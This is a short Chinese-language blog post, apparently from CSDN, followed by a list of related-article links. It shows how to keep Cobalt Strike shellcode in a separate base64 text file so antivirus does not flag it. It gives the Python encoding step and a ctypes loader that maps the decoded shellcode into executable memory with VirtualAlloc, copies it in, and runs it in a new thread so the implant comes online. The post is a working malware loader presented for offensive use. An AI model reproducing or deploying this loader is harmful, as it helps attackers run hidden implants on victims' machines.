无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
厦门辰迈智慧科技有限公司38 分钟前
大中型水闸安全监测系统解决方案
运维·服务器·安全
观测云44 分钟前
整合安全能力:观测云进一步强化数据价值
安全
行止61 小时前
系统安全及应用
linux·运维·安全
2501_914286491 小时前
系统安全及应用
安全·系统安全
天空之城夢主1 小时前
系统安全及应用
安全·系统安全
上海云盾商务经理杨杨1 小时前
2025年AI与网络安全的终极博弈:冲击、重构与生存法则
人工智能·安全·web安全·网络安全·重构
再看扣你眼1 小时前
系统安全及应用深度笔记
linux·运维·笔记·安全·系统安全
OKUNP1 小时前
系统安全及应用
安全·系统安全
塑遂1 小时前
系统安全及应用
安全·系统安全
FreeBuf_2 小时前
对抗性机器学习:AI模型安全防护新挑战
人工智能·安全·机器学习